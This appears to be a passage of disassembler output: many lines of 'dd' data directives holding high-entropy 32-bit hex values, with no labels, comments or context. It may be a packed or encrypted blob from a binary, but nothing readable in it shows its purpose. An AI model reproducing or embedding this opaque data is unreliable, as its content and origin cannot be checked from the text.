		dd 23763C4Eh, 0C3AD8B50h, 7614B811h, 5CDC0053h,	2671D175h
		dd 0CD008091h, 0AA21A2A9h, 3842E0h, 0D7626A82h,	0E36109F7h
		dd 851D1400h, 0D992A850h, 982C000Eh, 0A62EA32Fh, 0F6A03C08h
		dd 333E3FBCh, 866300D8h, 93605EC4h, 81738Ch, 70469522h
		dd 67E4A2EFh, 79487D0Ch, 5A1071h, 47D75404h, 7701DE6h
		dd 65B90300h, 56FE11B5h, 2E0804D5h, 80B68DE8h, 91F4DC7h
		dd 0C957301Dh
		dd 0D821EF80h, 132ABCA0h, 0E0A714h, 9F84F770h, 0D4E0F809h
		dd 7514E00h, 95A84935h,	7CC8FA6Eh, 0A7EE01h, 1D685F65h
		dd 4BEF3884h, 7CBFA100h, 1893B6D0h, 0F65200F2h,	0B58FE7D5h
		dd 0A0002CD2h, 0A86D60CDh, 7250C13Ah, 89780012h, 9CC5925Ch
		dd 0B73B3BADh, 0D7B30054h, 155A68BCh, 0C4081D0Ah, 0F9574E88h
		dd 0ED2B5540h, 6500C7E8h, 0D4A621B0h, 153967h, 0F48F8788h
		dd 0C63127A7h, 9D443400h, 0A928523Fh, 22170033h, 0D0B89FDDh
		dd 0E9000DFEh, 8CDE9CE4h, 13BD91h, 0D6A0F575h, 0E8D3A229h
		dd 2A04921Fh, 5E0CF126h, 0E8B718D1h, 5C9BE07Eh,	3A009DDEh
		dd 0B6A80293h, 4EC671Eh, 17199E00h, 0A31D740h, 0D01D13EBh
		dd 0D25001Fh, 0FAFC9721h, 0DB87C400h, 187F79DDh, 80BF3FD1h
		dd 3BE26F80h, 1CC1EE33h, 35FE9100h, 605D82AAh, 0FBC83C5Bh
		dd 0CC7D7880h, 0B442F994h, 40B03403h, 0E01D3B95h, 767B56h
		dd 0B96D049Dh, 0FF4E3363h, 180FB47Ch, 0CF8AB277h, 0C2FAE6E8h
		dd 0F2992780h, 8B002478h, 4AA11EF6h, 0D86BE2h, 0F9CE83BEh
		dd 987FA55Fh, 710028B8h, 650111C5h, 0B0BDB889h,	88360068h
		dd 7A8129F2h, 2400797Ch, 27469E4Fh, 0B997060h, 183748D6h
		dd 0BC9B7B00h, 0D13D19F4h, 43DA1F26h, 7CFF455Dh, 0CA05CE00h
		dd 79E4314Eh, 0E37600ECh, 925FCFB6h, 437F06A4h,	968BB00h
		dd 7E7A63Dh, 7798006Ch,	2CF9FF44h, 0C260E261h, 2064C540h
		dd 21B00EAh, 0B24AA16h,	0BB016D13h, 85821B2h, 0E8449771h
		dd 6FE390C0h, 18A200C2h, 0A49B1CC7h, 0BF004D4Ch, 339D640Ah
		dd 85A8E1h, 63888EB0h, 0C5518F1Fh, 0E9315300h, 34F02F24h
		dd 7D0DEE59h, 0B91C006Bh, 0ED8A9BC9h, 0EE00E268h, 0F8BCDBA2h
		dd 0C014482Dh, 82296C38h, 8C031B37h, 477E07F5h,	27C8008Ah
		dd 0F611AE76h, 0DF00BEE4h, 5D1A4106h, 457F89h, 0C395679h
		dd 77EEAA96h, 32ACC900h, 58767A99h, 0D44B0031h,	287C3457h
		dd 7950F35Bh, 0DA061D8Bh, 298AD050h, 0B78D0CE8h, 0B4708FA9h
		dd 0CB2F2002h, 980F43CCh, 7193598h, 0ED8065B3h,	0DBD4603Dh
		dd 940F715Ah, 60A51C79h, 27833A0Eh, 141DFCF2h, 0FC2B5B61h
		dd 0A7C8F00Fh, 17D8EE40h, 407DB7C0h, 5233F700h,	0EBAC3E61h
		dd 0B6EC3E63h, 35E54200h, 0BBBED71Dh, 0AA8F7507h, 419094B0h
		dd 0C1F13Ah, 192AA52Bh,	6BC57B74h, 8E519B00h, 0F8C824FDh
		dd 0C7D800B0h, 0A07F0DF9h, 0F6003CC4h, 5BEF8E50h, 13C00726h
		dd 0F519C05h, 0A040880Fh, 4371E9C1h, 17001B71h,	85BCB58Dh
		dd 0E4B766Ah, 0D0B12D10h, 10062907h, 874D803Ah,	0A1C59E03h
		dd 0E9129604h, 9C404FBAh, 20DB2Eh, 6E2565CBh, 10B77393h
		dd 0BD11FD03h, 0C844EA7Dh, 2416409Eh, 1820A9D5h, 0BCCEFAA6h
		dd 6AD88D00h, 7D42AB66h, 7CC70479h, 80BBCB61h, 8127EA8h
		dd 1FDC0300h, 0D3FC21E4h, 0AC354970h, 2C26D900h, 80BEE9AAh
		dd 4379A703h, 1F2A0944h, 8182DF28h, 6A8A0686h, 1B70205Fh
		dd 704BF201h, 0E3681B2h, 0FCE8EE60h, 9FB500A1h,	0C15C9DCDh
		dd 0D50075C4h, 0F0763C2h, 0EAB8Ah, 65CF1FB5h, 0A70844D0h
		dd 2C73B701h, 0FDC32B5Fh, 92362E0h, 35C7944Ah, 46006C09h
		dd 20D7B1A6h, 86248578h, 73074CAEh, 136027FAh, 0BC34Bh
		dd 67A76D46h, 4FF87121h, 80B47C24h, 0CC659007h,	1533E490h
		dd 0D9EC24FCh, 71BC0014h, 0C9DF92B5h, 701EF090h, 2D40EB6Dh
		dd 64CE885Ch, 522600F9h, 0A173B4F3h, 0E20095D1h, 17C3D8A7h
		dd 60A00192h, 0ADCC020Ah, 0C00E850h, 0E1F77894h, 0B2C58C6h
		dd 1E2A681Dh, 0FC2EBD00h, 0F200B2FDh, 58D0C394h, 5C48B1h
		dd 9278D402h, 0CD59387h, 0D686BE09h, 0BAC08036h, 149BB8h
		dd 71409D0Eh, 0EE6F1D02h, 9EF36800h, 63E8E1B2h,	0FE585C45h
		dd 34882701h, 70412CC9h, 47032805h, 390D0E1Ah, 38308004h
		dd 1F97707h, 3D16123Fh,	60FE793Ah, 0FF002A2Ch, 81179B09h
		dd 77B702Dh, 0D759A56Eh, 28EC81CFh, 1F109063h, 60D12911h
		dd 16E9F520h, 180C003h,	4B3CE8Fh, 6A2FD200h, 1C90B2DFh
		dd 8D7671h, 9BBEB465h, 72E966C6h, 91075975h, 6FCF90DDh
		dd 0A0975C53h, 0C0E35EC3h, 2DD5DC60h, 0D898BE3Ah, 0A6219060h
		dd 0E49B3470h, 29D46020h, 8491BFEBh, 0B32A5515h, 7E5C018Ch
		dd 72A67980h, 1EDBEDD8h, 8BBB906Dh, 2300E3B4h, 7FC508B2h
		dd 737CFB03h, 89BC89C1h, 0AC04181h, 30FF003Ah, 72368EC4h
		dd 47009E13h, 855BC68Dh, 42B064h, 800F79E8h, 61D5373Fh
		dd 96B8FB0Ch, 4E81BAh, 159FF668h, 48DE68Eh, 7A1F9870h
		dd 0B9B0B9CAh, 71E7BDADh, 0EE3700EDh, 0BE9C09F5h, 58008856h
		dd 0E9D1333h, 178DCA8h,	590C7E87h, 80C9E716h, 515E2F60h
		dd 0B03CCA20h, 50DF6Ch,	74D8694Ah, 5E007142h, 223218DBh
		dd 7A64B7h, 0E2977584h,	79290962h, 0A41E0828h, 7B44AA3Eh
		dd 2E0054F4h, 538EF767h, 0F2961C33h, 714A0073h,	361A3EBh
		dd 0F41717F9h, 0F303E18Ch, 0BBD7BCBAh, 0CB7EC176h, 30B10270h
		dd 0CAE1D6B9h, 0D5165568h, 6F00F4DAh, 4B2F6FEEh, 0D85BEA3Ch
		dd 51DF28B0h, 0AFA43E0Fh, 2DA921EBh, 0EE84396h,	75600078h
		dd 76E71E63h, 3B0101BCh, 0CEA4FC9Dh, 2220D599h,	6408C680h
		dd 18002074h, 0B128FC95h, 6097BFA6h, 1C6639D1h,	0D70F4F1Dh
		dd 60963AE9h, 0D1791F5Ah, 624502CAh, 3CC7602Ah,	12CD3F60h
		dd 8E304300h, 351FDB06h, 204567DAh, 4508C01h, 0B610A100h
		dd 2579431Dh, 202B60B2h, 1993DBCBh, 28E67C30h, 0F4037361h
		dd 0A27F03ABh, 0A02786C0h, 210089A3h, 0A4038B50h, 0D9B7CAh
		dd 34669F56h, 1D598840h, 63A1F600h, 0C068D4Ch, 1481002Fh
		dd 0C12E5D07h, 180074E0h, 0CDD64BE4h, 6747F4h, 0A8277FDFh
		dd 0E0B5423Fh, 41ED6D00h, 0D6CDBD7Bh, 0D10E00A1h, 25208594h
		dd 8F02A8D4h, 10E1AA26h, 33D280AEh, 0B82D4265h,	0B02800A6h
		dd 0C261258Ch, 0BC00E4BFh, 263C5C20h, 0A8B211h,	0F50DFCD7h
		dd 0DB429BC3h, 0B1D9D300h, 7651C41Ah, 8F4C03FEh, 0BAE7AA57h
		dd 4AC539F0h, 38133Ch, 0BE776029h, 346570D6h, 6E102706h
		dd 0F8010C04h, 7E9D105Ah, 6D1A0257h, 47BEB0B1h,	0EADEEAC1h
		dd 0B7A8F80h, 930053DFh, 6E565C26h, 4A8804h, 175BFD0Eh
		dd 0ABDF745h, 28546201h, 0CA316199h, 37CEFCh, 0B6DFFE30h
		dd 48AFE6E5h, 6058A900h, 0DE2443C9h, 0FC985A28h, 1D5898h
		dd 9D6E6A7Eh, 0EC830h, 87A8847Dh, 78BC28DFh, 0ED13C401h
		dd 0D612F209h, 943760h,	25F50F6Eh, 845C8EC1h, 0D4E5E800h
		dd 495806ECh, 0F7F43D1Dh, 86403A80h, 38D31E61h,	9D72BE39h
		dd 0F08558AAh, 49C3FD94h, 0E49D8F4h, 33440747h,	50013924h
		dd 3F85F0C2h, 0BB03B700h, 26FF62D8h, 9492001Eh,	0C8739F10h
		dd 0F0B3844h, 80BF1C5Eh, 0D159FE57h, 53C2193Ch,	60646837h
		dd 2E00256Eh, 0F7B54F5Dh, 743D4B8Ch, 0C14D3ED5h, 64ADA080h
		dd 8EAFC208h, 8313553Eh, 0F0A7CC4h, 0A072CAD7h,	0F8EEBFDCh
		dd 583460B5h, 93DF3C86h, 6600A7FEh, 0ED0A7EAEh,	0C7FEDAh
		dd 3E12C160h, 34F7CA80h, 927FBC04h, 3B8145A0h, 4246264h
		dd 704D00ACh, 0EF4AE44h, 0BC772166h, 28C1041Eh,	19FB15C0h
		dd 0E238F7h, 973E228Ah,	923AF475h, 18FECE00h, 7D9D499Ah
		dd 3D8500E3h, 28068B4Dh, 6B7453DAh, 38140475h, 3E9893D3h
		dd 58F980DDh, 5D0227A9h, 133400B0h, 90EAD42Bh, 1D00B39Dh
		dd 757DB71Ah, 2CFB83h
		dd 780F8458h, 87A33CAEh, 92948203h, 0B8127ADDh,	3972F0D5h
		dd 1F0E0FCh, 17BF74F5h,	60654F0Fh, 0DC03EA30h, 0A380F049h
		dd 5E6EC01Eh, 59C003C3h, 3CB1D157h, 0B0557B80h,	86E17300h
		dd 60BD5FFFh, 1E760766h, 709802B1h, 29D12515h, 8B13BE00h
		dd 648EB430h, 96F62421h, 7AD780C8h, 71F4B6AFh, 4357E100h
		dd 0DB621FEAh, 0EFEC0061h, 51074C85h, 83002A26h, 7E23D871h
		dd 0E6E4020h, 74DCD0A7h, 518A78C6h, 0BF002175h,	4466CDD8h
		dd 0EAEA62B0h, 0BDE2C9h, 6E21F1B7h, 0D7757EB3h,	31DE3Fh
		dd 0E7DC4465h, 0C6D2837h, 1453E302h, 2B775CC0h,	88A0F77Eh
		dd 82790B37h, 5130AF1Dh, 6A1E8140h, 244E96h, 54673BC8h
		dd 4C5EBFC0h, 3F91A800h, 7A6DAE23h, 2A720EE1h, 0E02356DDh
		dd 5BE3FAF5h, 609F7800h, 0E58A80CFh, 828900D6h,	417A144Eh
		dd 0F0268B1Ah, 0B3813870h, 3077D875h, 0E6DDB181h, 60682924h
		dd 80609E5Eh, 0F1114AB8h, 6DEF003Eh, 6E0BDFD0h,	0F004191h
		dd 0A1955AA3h, 0E54FF50h, 1EE8F946h, 60422987h,	6DC214EDh
		dd 8BE23D3Eh, 80369BFAh, 954C467Ah, 0BFAF00BBh,	0D3863754h
		dd 6C07E190h, 8C1EB01Ah, 5CFDC480h, 5BF317BCh, 759400DEh
		dd 7A8E9E9Ah, 8A513D03h, 0A8C9E218h, 0BA3236h, 0A2B7789Ch
		dd 0A08359D4h, 885B8700h, 41AF6D31h, 0E96B004Ah, 26723339h
		dd 7D00D6D9h, 8C35A4Bh,	0BAEC99h, 0DAE9D230h, 0CCC819B3h
		dd 118E0C00h, 1B805D8Dh, 1F18F6ECh, 38A77FDh, 0F1A78FBFh
		dd 0BBC8E188h, 0A4BBC3Ah, 0AC74C037h, 459D1C07h, 0FA02FC80h
		dd 476D0051h, 573ADE6Bh, 3230A9ACh, 0D208B8A2h,	2BE7009Ah
		dd 0A54A69EEh, 98385433h, 7DEB0084h, 8107EF25h,	0C5480746h
		dd 708A3B97h, 8959A5A4h, 476E6900h, 0D64F1C9Dh,	1D200E1h
		dd 0A2ED3D4h, 0A900EE3Dh, 9561C536h, 0AEFEBEh, 0F871645Eh
		dd 0CB2FFFF2h, 0EB086B1Eh, 9281BB1Eh, 1CBC5AA1h, 0F4C9D8E8h
		dd 0CEFE3093h, 479C37D1h, 719E1612h, 791C1440h,	97E899h
		dd 0B68B0F45h, 4DBB4302h, 0AD041A00h, 0B31049AEh, 0E8003A0h
		dd 18A5B86Ch, 0CA0611E8h, 30035175h, 0A06D02F1h, 0E868D3A4h
		dd 7ADF38h, 0EF10CCE6h,	0DE178F45h, 15489000h, 0BDB31B40h
		dd 0DA7705CAh, 5D6A91h,	0FB3ED8C2h, 100EF93h, 2E49B8AFh
		dd 24F17Ch, 0C32163B7h,	0DA085A5h, 0EE48B4E0h, 987E0045h
		dd 44691E67h, 0FD410002h, 0BB0D8B16h, 2C2C6555h, 6A9FE82Bh
		dd 81BC15C9h, 721D107h,	1B6EF0DBh, 20F0A68Ah, 0D5E65312h
		dd 0F8F74A00h, 0E8FE7213h, 44A539CDh, 3255FA00h, 3BA2E3DAh
		dd 0E4174D00h, 0C9756D97h, 0D8CB12ADh, 0DB9C0055h, 0F4FD05B0h
		dd 70729403h, 0A761EE28h, 4DCDE351h, 0B3FFCCh, 84B09541h
		dd 9C4A9713h, 0F2B9F700h, 0FA614324h, 3747004Dh, 4CDCF0E8h
		dd 0EC20F77h, 40720C9Fh, 86832h, 51A03FBBh, 53CED809h
		dd 0D55F0E02h, 0E0FD2734h, 11BE38h, 73258FB5h, 5A41E4FBh
		dd 0C5922C00h, 9E7EC4A6h, 6BBC07E8h, 40AA216Dh,	2EF1BD1Ah
		dd 0DA0DA700h, 1E18CB15h, 8E4B005Fh, 0F83DD093h, 6A1F9E47h
		dd 5D404584h, 1D1244D6h, 22405E0h, 0C0D406C1h, 8AF4C033h
		dd 0D2AB2E0Eh, 0C7BF4096h, 0F0180346h, 0ED2800E4h, 2EEB52CCh
		dd 0B400A90Ch, 2B0BAFFCh, 3B5949E6h, 0B8E2B56Eh, 0E28003D6h
		dd 3128AC68h, 0ADD75C00h, 59A88EF0h, 15890058h,	1542549h
		dd 0EF0BBAFFh, 20287A75h, 16D122E8h, 2BFEA121h,	0FB510D0h
		dd 0AB04137Ch, 0C0AA26E5h, 0ACA31B0Ch, 0BE347B1Dh, 0BF818E40h
		dd 8B111Eh, 97B5AF8Dh, 0F9CAB8B0h, 812CAA3Dh, 0BFF43461h
		dd 68BC7546h, 2F102431h, 2C20167Fh, 0F6BD85h, 0FD74143Eh
		dd 0BE0E37ADh, 0EB862BFCh, 0B810A159h, 0B080D0A9h, 0C3CBEFD8h
		dd 9600E3B7h, 0A6102BE9h, 0CAF8894h, 78A8F4DCh,	3A0F3838h
		dd 0E39D08h, 0DFCCDD90h, 7654009Fh, 4C3593C5h, 1700F9E5h
		dd 1BAB80CEh, 0E43027h,	0C7D3454Eh, 54E25F16h, 7077F200h
		dd 4C6AE701h, 0F46DE8B6h, 94501E02h, 5BF643A5h,	29CB18DAh
		dd 4BC10AF0h, 0D42B3B24h, 5A327600h, 5D72D0h, 1E29BDD5h
		dd 0A598F6E4h, 0E13AF31Fh, 0BA146C0h, 7EDCFB93h, 8402506Ah
		dd 86600A1Ch, 81D02A03h, 1F360FC7h, 0AC0700A0h,	3E08CC14h
		dd 17006A21h, 9DEBCF36h, 1A83437h, 22132F4Ah, 706D2C93h
		dd 0A201622Eh, 2977C22Bh, 0AC575083h, 71B8A800h, 0E7B006CDh
		dd 8C8D53Dh, 15214960h,	3DCB881h, 0BDA34C87h, 48067D75h
		dd 27FBAFE0h, 7354650h,	0CD65B8ACh, 3B32E294h, 0B8841920h
		dd 8C8F00CEh, 9DAEC80h,	54619DE5h, 0F6386021h, 7F08BCh
		dd 0F2091CAEh, 4DEFB9C4h, 4C05F100h, 88E504D2h,	0FF510F97h
		dd 56A06896h, 3421F2E4h, 3A808A50h, 0A3240A07h,	0FCEAA169h
		dd 961E200h, 0E3EBF0h, 802FDB26h, 46C45329h, 63382560h
		dd 3B48E8h, 82EB946Ch, 117DB0E7h, 35D71300h, 2E178001h
		dd 5ADB00B3h, 0C679F2D8h, 21267BE2h, 86003ECBh,	47679B0Fh
		dd 4EBA0045h, 2E8E3FF2h, 9F4C5781h, 9A8F001Ch, 0DA1AB4D7h
		dd 0C0C200FCh, 0A658461Dh, 0A300047Dh, 0D775537h, 1E749F7h
		dd 0F8C2B88Ah, 0E47813B1h, 9B047BBBh, 1D208FFCh, 0AEF03580h
		dd 96E20721h, 0C006232Dh, 93D5AA1Bh, 738CC5Ch, 0C422356Eh
		dd 0D847A113h, 0FE4416h, 0F6329061h, 0A67FDD64h, 912BE00h
		dd 0CC94DB7Dh, 877C1817h, 0B6E418BDh, 81991403h, 0EE77F73h
		dd 12D3F258h, 4472E547h, 5369C06Ah, 95007E25h, 0DB7FBF4Eh
		dd 1E26FC6Dh, 1DBE0F9Bh, 0C3730065h, 0C2441AB1h, 1718B766h
		dd 32A7958h, 9E50CEE6h,	0D1F836CCh, 0D7180C41h,	52716CB7h
		dd 0FAF612h, 0DD053CDAh, 0AB2069F5h, 0CD009B7Ch, 0C62B46DEh
		dd 0C0806495h, 0FC1AD530h, 68C6AE1Eh, 3C499EB7h, 4A01AA3Ch
		dd 0DC791249h, 4D57D82Ah, 2D941804h, 85003EB6h,	0D18F4E02h
		dd 0AB540E00h, 38B2DD1Eh, 0C8F40039h, 9D3BA307h, 0BD73E8FFh
		dd 6316800h, 70B5847Ch,	8BA500D8h, 0D181B8A1h, 250A4F9Ah
		dd 916E27B7h, 43E10300h, 0FE391Eh, 0D1F1B468h, 0B775BC78h
		dd 0AFDD5F1Dh, 7731DF40h, 16C3A260h, 0C588E3h, 26E0D57Ch
		dd 2004F46h, 4AE1DEE5h,	0C9CADFh, 8D03BC79h, 61241132h
		dd 0E94F8600h, 0CADB1E19h, 7BAE00D1h, 0CB558EF6h, 6C01837Ah
		dd 0C95FA712h, 88874AA0h, 70BFF5D6h, 65021E2Bh,	0D58D4200h
		dd 13457E3Bh, 301403D4h, 0F4EF09FAh, 1E79F11Dh,	0ABA7C040h
		dd 4B0CD9h, 0D77BE469h,	0A4BE30B3h, 0B4D2D303h,	80CF2DA9h
		dd 1B5609Ah, 0BB4783F1h, 80E14535h, 61E53948h, 0BD3ECAA0h
		dd 8A0E2A70h, 0B896CBF5h, 0ED964A8h, 0DCE36778h, 0D382C8A0h
		dd 0F230DA69h, 6DC441E8h, 32EA037Ah, 9AD7BF15h,	3EF5D188h
		dd 0BA35D200h, 2BAD3FDFh, 0E2F403A3h, 97B4150Fh, 870A5387h
		dd 1EE760E7h, 8A3D8973h, 7B11833Dh, 0A8339243h,	3A1C6F1h
		dd 9AA75FAAh, 18A35E57h, 58E12100h, 63D47F1h, 2F3E00D3h
		dd 9B41978Ah, 5E024D6Ah, 882A3315h, 0F4F98113h,	38BC6C1Eh
		dd 55105B01h, 6062B3EAh, 7E63FE33h, 425808h, 48384520h
		dd 35AFB877h, 94AD1F00h, 0FDE82130h, 0E34E33F3h, 896413B0h
		dd 0D6039B8h, 0A110D2F1h, 1EC85E0Ah, 0F615C580h, 4D913h
		dd 376FCA6Bh, 79A88C3Eh, 18843B40h, 193CA678h, 2640AA88h
		dd 0A09C011Bh, 916CADA7h, 89F8F776h, 6430301Ah,	582031D2h
		dd 0EEDB003Ah, 5C861711h
		dd 0F1063195h, 0C3DFBB16h, 35F2D6h, 1EC6B565h, 374F6FF3h
		dd 0E1853601h, 75493216h, 6241D4h, 64BB28F2h, 5BE64AA2h
		dd 5306DD75h, 46E58A8Eh, 61023009h, 0DBB10620h,	0F157AE00h
		dd 6C146520h, 6F6B0637h, 490DC6B9h, 2B1DAA00h, 0AE309D3Fh
		dd 28B63129h, 806CC408h, 2B45A120h, 1C95DD9Ah, 1ECE5DBh
		dd 0DECB2FCAh, 5D688062h, 0D7E4D0F9h, 7B771D69h, 0E1BE0E66h
		dd 4A9849A0h, 39526264h, 0DD42025Ch, 319653B3h,	215180DFh
		dd 73D1DBB5h, 3A521C14h, 542C078h, 97CBCFB7h, 2869C830h
		dd 0E2064C6h, 0E6DD7D9Bh, 4C3C0093h, 4869D219h,	2BCBE01Fh
		dd 0A28229F0h, 0C5AF5C29h, 196E0826h, 806D08A4h, 29F06221h
		dd 1CB8E8Bh, 0E1C4521Bh, 139FF180h, 4482E985h, 81C4AFF2h
		dd 0BD4FFBCBh, 2384E0h,	1D473E73h, 223B9C06h, 0DABC960Eh
		dd 189A401Eh, 0E1C88Fh,	0CAC95D54h, 8EBADCA9h, 0A23F1D00h
		dd 0E263E93Ch, 4CF06B7Ah, 0ED731301h, 15C320DCh, 1732FC00h
		dd 99B44505h, 0E49B002Eh, 0F57830CFh, 6300DA66h, 0D5803DDCh
		dd 13C4C7AFh, 0C02FEFh,	0D253F503h, 6500D703h, 4F29FDA4h
		dd 39225EAFh, 7E035D85h, 61986CECh, 0CF0D6A88h,	0FFEF5B00h
		dd 3701881Fh, 47AC1F2Bh, 44964EA1h, 494E9B20h, 0E3008A7Bh
		dd 1F08B152h, 0E0D5F40Bh, 327F00CBh, 0A388E880h, 9D00B093h
		dd 3092813Ah, 753E27A9h, 6731F41Ch, 0DC73084Ch,	18007020h
		dd 763614A9h, 38D3F7F8h, 163ECC7Ch, 289FF995h, 6B2CF7ACh
		dd 0C8004936h, 42498EB9h, 6AE65CD5h, 7DE0007Bh,	401BB6BDh
		dd 7501FD38h, 436E6CBAh, 54CCB29Ah, 0B5DB3730h,	0E7D8050h
		dd 35014E5Dh, 12AEE7B8h, 70D0F950h, 4C20C03Dh, 423E5EB5h
		dd 0E211F409h, 0ACDA8009h, 31E17C91h, 9D298CCEh, 0D95621A8h
		dd 5A11813Fh, 0CC59F40Eh, 37169FE4h, 9F08C7B1h,	365D20D8h
		dd 2F9F400h, 6E7627F2h,	21E7F89h, 406CB958h, 54903654h
		dd 60115E98h, 5A88A835h, 0FED694h, 0B5DC8B78h, 903197CDh
		dd 0B45A5050h, 91E600ABh, 0CC8C68EBh, 282A8278h, 2E0CC006h
		dd 28646676h, 37C8013Fh, 0B1A6CEADh, 3368C885h,	0D2895400h
		dd 0D61E6EDDh, 6F2507E2h, 10ABF14Ch, 76BA6556h,	5007DFFEh
		dd 3C88781Ch, 0B2BB0BE0h, 2A110070h, 68DE47CBh,	0A3025523h
		dd 0F3377309h, 964BC00Ch, 7DECDDh, 92FE35E6h, 7B559BA5h
		dd 3000F698h, 62FAEFFDh, 7E3BB58Bh, 0C4768Eh, 4AF3E3D1h
		dd 6358E416h, 9FAF5200h, 7372DB70h, 9BF428h, 0B5B40419h
		dd 9559BCBEh, 2400EFF8h, 0BF69C83h, 318AEDAh, 2B0CA9E4h
		dd 3800937Dh, 0DD57FA60h, 12FC31h, 2990D55Eh, 0ACF89666h
		dd 5020C400h, 87583728h, 405004Bh, 0DF9386D3h, 68E0D1FAh
		dd 50E91C00h, 0A76E0F7Eh, 59C61CE8h, 557C40C7h,	0C0F8B60Bh
		dd 20658036h, 0D53D0018h, 7D16A626h, 0BC00DADBh, 0E90EF096h
		dd 0C4E34DCh, 0FC6850B2h, 0FE0FE548h, 4001B635h, 0B5C1C587h
		dd 44B907F7h, 30E669FDh, 1156F247h, 23006174h, 7E955835h
		dd 0AC476EBh, 8CDCC98Fh, 7C3F8090h, 3B750569h, 0E5CC4D01h
		dd 2CAE9714h, 0B3C0CDC3h, 302F3562h, 0C53066BFh, 2E0011F8h
		dd 912B383Ch, 7ADE8F52h, 0CAB00053h, 0C9FAAD0Fh, 0DC07CD70h
		dd 0A468311Eh, 53276F20h, 1C73E40Bh, 9E24DBE1h,	0E7BD00ADh
		dd 6851FC66h, 2AE50E13h, 5AD58103h, 75AA80E1h, 1B6E066Bh
		dd 18E3C72Fh, 0CABF2600h, 0D611998Dh, 0A9B60007h, 883F5202h
		dd 98008C62h, 3C3BCA6Dh, 0CEB947EEh, 0BDE02D11h, 48FDF5C4h
		dd 18387518h, 3CD408h, 0E187CA6Ch, 11EA1EB2h, 2DC43300h
		dd 489A9347h, 0B91C038Ah, 0FE77988Dh, 603FB200h, 578567D9h
		dd 7D0900CAh, 7A7E9C62h, 8F60AB21h, 3EE5D670h, 0DC04001Ah
		dd 2859970Ch, 7A00416Ch, 498F29A8h, 3A39F0B1h, 4000656Ah
		dd 0ECA094F4h, 710CE7A1h, 0D04DF20Ch, 6D851CDDh, 102C996Ch
		dd 0CD6C4A3Ah, 6C0020B1h, 793DF78h, 0E7A05CE8h,	0A243CFFAh
		dd 7001C32Ch, 36BF8F95h, 8E300A14h, 0D03F26C5h,	7DE16D0h
		dd 1A9EE507h, 668008Ch,	344F20EAh, 380379ECh, 0D6AF22E4h
		dd 49179087h, 5C300BAh,	0B6C8DF48h, 5878E1D5h, 4C71BE00h
		dd 64D14BD8h, 0F41E007Fh, 22A7F8B0h, 0AF742DD0h, 8F190800h
		dd 128E6AF6h, 0E59C0018h, 13F177E0h, 9A002DFCh,	1B32C0A5h
		dd 7AEE3721h, 2854339Bh, 12F98540h, 3FA86047h, 0DE74ED03h
		dd 0F6C21F84h, 3DA9176Eh, 0F2DD0168h, 0E4A6229Bh, 5403BC83h
		dd 2858D12Fh, 7BF8900Fh, 1E3FF8AAh, 186F14FCh, 0CBF7A19Eh
		dd 19CC7300h, 12DBED13h, 0D68F016Eh, 6F10B15Dh,	0F434F98Dh
		dd 910D3C2Ah, 9933FDDAh, 3CF211F0h, 0D806237Bh,	68611606h
		dd 2C24120Fh, 68EA8385h, 0EEC7B0DDh, 9B0D018Ch,	0F867E0CFh
		dd 282770E3h, 958A4D0Fh, 299A20A8h, 0AB241Fh, 0FAC08D06h
		dd 0EED5A57Fh, 5700287Ch, 0C546F717h, 1D5A32BCh, 40135D2Bh
		dd 0C7F1942Eh, 0A548BBA7h, 0CF0501B6h, 52AE014Dh, 31D4D4h
		dd 0CCD96BEh, 9E39460h,	0AD76901h, 0CF9A97DAh, 3CD0BBFDh
		dd 3693015Bh, 388F9DB1h, 2B75E03Fh, 55BA8900h, 0D3BEF639h
		dd 0E6210714h, 0AF69D4E4h, 0F796FBE1h, 0DBEBFF26h, 8EB655D8h
		dd 0F21BAF06h, 196EC7h,	57B0C59Ch, 0ABBAA53Fh, 0BC3B40h
		dd 874207A7h, 7EE826F9h, 790C030Fh, 0E232CF8Fh,	6033F39Ah
		dd 0C9F97B0h, 2C864725h, 0AD001398h, 0E1297066h, 19E31E7h
		dd 6D75260Bh, 0D793AE05h, 7EC040C8h, 80B8953Dh,	28AB7F12h
		dd 3F3207h, 26FCA1FEh, 8A453B0Ah, 0E9A45050h, 18B2F000h
		dd 0E1821CA2h, 7B770EDAh, 0F814B359h, 0FBF3E607h, 36009975h
		dd 135F1D3Bh, 84172F00h, 0FC5DE65h, 37FAC2h, 0AE4B9B41h
		dd 0AA385BB6h, 0FBF6EE00h, 4DEFD521h, 0BFA700B9h, 0A8C1903h
		dd 0F1188898h, 49283E3Ch, 0E7A86h, 0D785BF2Bh, 83AD3ACCh
		dd 0B52EB106h, 5144FCh,	0E6FEBE6Ah, 5BE2171Dh, 702E8D00h
		dd 81670D27h, 2DB312C2h, 87BC12h, 4E068F64h, 5C970BAEh
		dd 80002D8h, 0E0F515Ch,	849017B6h, 1115741Ch, 2084BEC7h
		dd 18F036h, 0C3F81D09h,	8C80954Bh, 0FE5921Dh, 50E0DB41h
		dd 71E096EFh, 0A1B600A8h, 69B54148h, 0E200E49Fh, 4905C886h
		dd 0DE1A38h, 46ECA6F7h,	15AB7D0Ch, 0BA6B3518h, 0C1BFCF1h
		dd 0F8479791h, 7400B930h, 41C6F067h, 0FA0D54h, 4334C3FDh
		dd 9FDED78Dh, 4229AA1Ch, 0F12705C0h, 0C7AB9Dh, 601578FCh
		dd 9FB54DA2h, 8701097Ah, 52D17642h, 0A0E05333h,	0D89A00D7h
		dd 26BE1084h, 0E40013EDh, 0A9ECD565h, 0F0A6186h, 540CB9FFh
		dd 0DD52D420h, 0BA00B519h, 0D5079A82h, 0D180D7h, 227C5E70h
		dd 8C06B20Dh, 0D42B8407h, 0FD4058AFh, 9DC9D3h, 48D7AE1h
		dd 0CFFA516Bh, 7D5C7374h, 0B84A000Eh, 72A1D828h, 1ABE0048h
		dd 3CFD12D1h, 60C52E34h, 14801051h, 3EFB570h, 49C3EBE6h
		dd 8801B1E9h, 19C07669h, 109FAEFDh, 720E8084h, 802FE92Dh
		dd 0FFBA95Ch, 6F8F32D0h, 8757E0BAh, 707B3Ah, 86835415h
		dd 6DCB675Eh, 61FC9700h, 58EA7DA8h, 7F450C52h, 0C31876A7h
		dd 0BCF1A60Fh, 96809D5Ch, 65DF83D1h, 2E57013Eh,	0FA6D43D4h
		dd 89B04073h, 0A201700Dh, 0DC34FDEBh, 0C0E01E72h, 58C96059h
		dd 0A477ABDh, 270D8F00h, 57FCCA86h, 28490ECFh, 0A940772Dh
		dd 3337C42Fh, 72816A00h, 4795149Ch, 3AD974BAh, 0C880A9E0h
		dd 5D6D4EBh, 0F11DE736h
		dd 3AC32580h, 0B020B53Eh, 0F2F40D3h, 0EFD7D914h, 0D1BA04C1h
